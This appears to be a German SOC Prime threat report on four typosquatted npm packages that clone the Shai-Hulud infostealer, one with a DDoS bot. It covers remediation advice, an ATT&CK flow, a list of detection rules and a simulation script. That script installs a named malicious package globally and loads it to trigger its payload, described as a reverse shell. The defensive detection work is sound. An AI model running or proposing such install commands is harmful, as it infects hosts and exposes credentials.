SOC Prime Bias: Kritisch

20 May 2026 22:05 UTC

Shai-Hulud-Klone: TeamPCP-Nachahmer sind da

Author Photo
SOC Prime Team linkedin icon Folgen
Shai-Hulud-Klone: TeamPCP-Nachahmer sind da
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Forscher deckten vier bösartige npm-Pakete auf, die Infostealer-Funktionalität mit der Fähigkeit zur Verweigerung verteilter Dienste (DDoS) kombinieren. Diese Pakete geben sich durch Typosquatting als beliebte Bibliotheken aus und beinhalten den modifizierten Open-Source-Code Shai-Hulud, um angreifergesteuerte Command-and-Control-Server zu nutzen. Die Installation eines der Pakete kann zum Diebstahl von Anmeldedaten, zur Exfiltration von Cloud-Geheimnissen und in einem Fall zur Einbindung des infizierten Hosts in ein DDoS-Botnetz führen. Die Ergebnisse unterstreichen das wachsende Risiko in der Lieferkette innerhalb des npm-Ökosystems.

Untersuchung

Analysten verglichen das chalk-tempalte Paket mit dem durchgesickerten Quellcode von Shai-Hulud und stellten fest, dass es sich um eine fast vollständige, nicht verschleierte Kopie handelt, die mit einem benutzerdefinierten Command-and-Control-Endpunkt konfiguriert ist. Die restlichen Pakete übertrugen gestohlene Daten an separate bösartige Domains oder an eine IP-Adresse über Port 2222, während eine Variante auch einen lokal Go-basierten Bot-Dienst einsetzte, der für DDoS-Aktivitäten genutzt wird. Alle vier Pakete wurden von demselben npm-Konto veröffentlicht, was die Verbindung zwischen ihnen stärkt.

Abhilfemaßnahmen

Organisationen sollten die bösartigen Pakete sofort aus allen Projekten entfernen und zugehörige Konfigurationsartefakte aus Entwicklerumgebungen und Build-Systemen löschen. Alle möglicherweise exponierten Anmeldedaten sollten erneuert und der Netzwerkzugang zu den identifizierten bösartigen Domains und IP-Adressen blockiert werden. Teams sollten auch npm-Abhängigkeiten auf Typo-Squatted-Pakete überwachen, die dieselben legitimen Bibliotheken nachahmen.

Reaktion

Verteidiger sollten Erkennungen für ausgehende Verbindungen zu den identifizierten Command-and-Control-Domains und der IP-Adresse erstellen, bei der Installation der vier bösartigen Paketnamen alarmieren und Systeme auf den eingebetteten öffentlichen Schlüssel durchsuchen, der mit der Malware verknüpft ist. Jedes System, das eines der Pakete installiert hat, sollte einer forensischen Überprüfung unterzogen werden, um festzustellen, ob persistente Dienste, geplante Aufgaben oder zusätzliche Nutzlasten bereitgestellt wurden.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 initial_access[„<b>Technik</b> – <b>T1195.002 Supply-Chain-Kompromittierung</b><br/>Kompromittierung der Software-Lieferkette zur Initialzugangsgewinnung.“] class initial_access technique automated_collection[„<b>Technik</b> – <b>T1119 Automatisierte Sammlung</b><br/>Automatische Sammlung von Zugangsdaten, Umgebungsvariablen und Cloud-Konfigurationsdateien.“] class automated_collection technique creds_in_files[„<b>Technik</b> – <b>T1552.001 Ungeschützte Zugangsdaten</b><br/>In Dateien gespeicherte Zugangsdaten werden gesammelt.“] class creds_in_files technique private_keys[„<b>Technik</b> – <b>T1552.004 Ungeschützte Zugangsdaten</b><br/>Private Schlüssel werden aus unsicheren Orten extrahiert.“] class private_keys technique victim_identity[„<b>Technik</b> – <b>T1589 Sammlung von Identitätsinformationen</b><br/>Sammlung persönlicher Identifikatoren des Opfers.“] class victim_identity technique victim_org[„<b>Technik</b> – <b>T1591.001 Sammlung von Organisationsinformationen</b><br/>Bestimmung physischer Standorte der Organisation.“] class victim_org technique code_repos[„<b>Technik</b> – <b>T1213.003 Daten aus Informationsrepositories</b><br/>Quellcode-Repositories werden gesammelt.“] class code_repos technique npm_persistence[„<b>Technik</b> – <b>T1176 Software-Erweiterungen</b><br/>Persistenz über bösartiges npm-Paket.“] class npm_persistence technique exfil_over_http[„<b>Technik</b> – <b>T1011 Exfiltration über anderes Netzwerkmedium</b><br/>Datenübertragung an C2 über HTTP/HTTPS.“] class exfil_over_http technique cloud_transfer[„<b>Technik</b> – <b>T1537 Datenübertragung zu Cloud-Konten</b><br/>Gestohlene Daten werden in Cloud-Speicher verschoben.“] class cloud_transfer technique initial_access –>|führt_zu| automated_collection automated_collection –>|sammelt| creds_in_files automated_collection –>|sammelt| private_keys automated_collection –>|sammelt| victim_identity automated_collection –>|sammelt| victim_org automated_collection –>|sammelt| code_repos automated_collection –>|sammelt| npm_persistence creds_in_files –>|exfiltriert| exfil_over_http private_keys –>|exfiltriert| exfil_over_http victim_identity –>|exfiltriert| exfil_over_http victim_org –>|exfiltriert| exfil_over_http code_repos –>|exfiltriert| exfil_over_http npm_persistence –>|exfiltriert| exfil_over_http exfil_over_http –>|speichert_in| cloud_transfer

Angriffsfluss

Erkennungen

Verdächtiger Download von ausführbarer Datei (über Proxy)

SOC Prime Team
20. Mai 2026

Mögliches Vscode Konfigurationsdatei für automatische Aufgaben in ungewöhnlichem Verzeichnis erstellt [MACOS] (über file_event)

SOC Prime Team
20. Mai 2026

Hochladen/Download von Remote-Dateien über Standard-Tools (über cmdline)

SOC Prime Team
20. Mai 2026

Mögliches Vscode Konfigurationsdatei für automatische Aufgaben in ungewöhnlichem Verzeichnis erstellt [LINUX] (über file_event)

SOC Prime Team
20. Mai 2026

Versteckte Datei wurde auf Linux-Host erstellt (über file_event)

SOC Prime Team
20. Mai 2026

Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (über registry_event)

SOC Prime Team
20. Mai 2026

Möglicher Einsatz von Schtasks oder AT zur Persistenz (über cmdline)

SOC Prime Team
20. Mai 2026

Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (über cmdline)

SOC Prime Team
20. Mai 2026

Verdächtige Binärdateien/Scripts im Autostart-Verzeichnis (über file_event)

SOC Prime Team
20. Mai 2026

Möglicher Versuch, IP Lookup Domain Communications (über dns) durchzuführen

SOC Prime Team
20. Mai 2026

Verdächtiges Command and Control durch ungewöhnliches Top-Level-Domain (TLD)-DNS-Request (über dns)

SOC Prime Team
20. Mai 2026

Mögliche Crontab-Nutzung für direkte Ausführung (über cmdline)

SOC Prime Team
20. Mai 2026

IOCs (SourceIP) zur Erkennung: Neue Akteure setzen Shai-Hulud-Klone ein: TeamPCP-Nachahmer sind hier

SOC Prime AI-Regeln
20. Mai 2026

IOCs (DestinationIP) zur Erkennung: Neue Akteure setzen Shai-Hulud-Klone ein: TeamPCP-Nachahmer sind hier

SOC Prime AI-Regeln
20. Mai 2026

Erkennung von ausgehenden Netzwerkverbindungen zu Shai-Hulud C2-Servern [Firewall]

SOC Prime AI-Regeln
20. Mai 2026

Erkennung der Ausführung bösartiger NPM-Pakete [Windows-Prozesserstellung]

SOC Prime AI-Regeln
20. Mai 2026

Erkennung der Ausführung bösartiger npm-Pakete [Linux-Prozesserstellung]

SOC Prime AI-Regeln
20. Mai 2026

Simulationsausführung

Voraussetzung: Der Telemetrie- und Baseline-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegentechnik (TTP), die zur Auslösung der Erkennungsregel dient. Die Befehle und das Narrativ MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:

    1. Initiale Rekognoszierung (optional): Der Angreifer listet die Umgebung von Node.js des Opfers auf, um zu bestätigen, dass npm vorhanden ist.
    2. Bösartiger Paketbezug: Der Angreifer lädt ein bösartiges npm-Paket herunter, das ein legitimes Dienstprogramm imitiert (z. B. @deadcode09284814/axios-util).
    3. Installation & Ausführung: Mit einer einzigen Zeile installiert der Angreifer das Paket global und führt sofort eine JavaScript-Nutzlast aus, die eine umgekehrte Shell öffnet.
    4. Persistenz (außerhalb des Umfangs): Der Angreifer könnte das bösartige Paket zu package.json für zukünftige Nutzung hinzufügen.
  • Regressionstest-Skript: Das Skript reproduziert die Schritte 2‑3 genau und generiert die Befehlszeilen-Strings, die die Sigma-Regel übereinstimmen.

    # malicious_npm_execution.sh
    # -------------------------------------------------
    # 1️⃣ Sicherstellen, dass die Node.js-Laufzeit vorhanden ist
    if ! command -v node >/dev/null 2>&1; then
        echo "[*] Installiere Node.js und npm"
        sudo apt‑update && sudo apt‑install -y nodejs npm
    fi
    
    # 2️⃣ Das bösartige npm-Paket installieren (simuliert)
    #    (Ersetzen mit einem echten bösartigen Paket in einem echten Test)
    MALICIOUS_PKG="@deadcode09284814/axios-util"
    
    echo "[*] Bösartiges Paket installieren: $MALICIOUS_PKG"
    npm install -g "$MALICIOUS_PKG"
    
    # 3️⃣ Nutzlast ausführen, die das Paket liefert
    #    Hier binden wir einfach das Paket; das postinstall-Skript des Pakets
    #    wird den Code des Angreifers ausführen.
    echo "[*] Bösartige Nutzlast auslösen"
    node -e "require('$MALICIOUS_PKG');"
    
    # 4️⃣ Optional: Die Shell für die Beobachtung am Leben erhalten
    sleep 30
    echo "[*] Test abgeschlossen"
    # -------------------------------------------------
  • Aufräumbefehle: Entfernen Sie das bösartige Paket und alle generierten Dateien.

    # cleanup_malicious_npm.sh
    # -------------------------------------------------
    echo "[*] Bösartiges npm-Paket entfernen"
    npm uninstall -g "@deadcode09284814/axios-util" || true
    
    # Alle verbleibenden node_modules aus dem Heimverzeichnis entfernen
    rm -rf "$HOME/.npm/_cacache"
    echo "[*] Bereinigung abgeschlossen"
    # -------------------------------------------------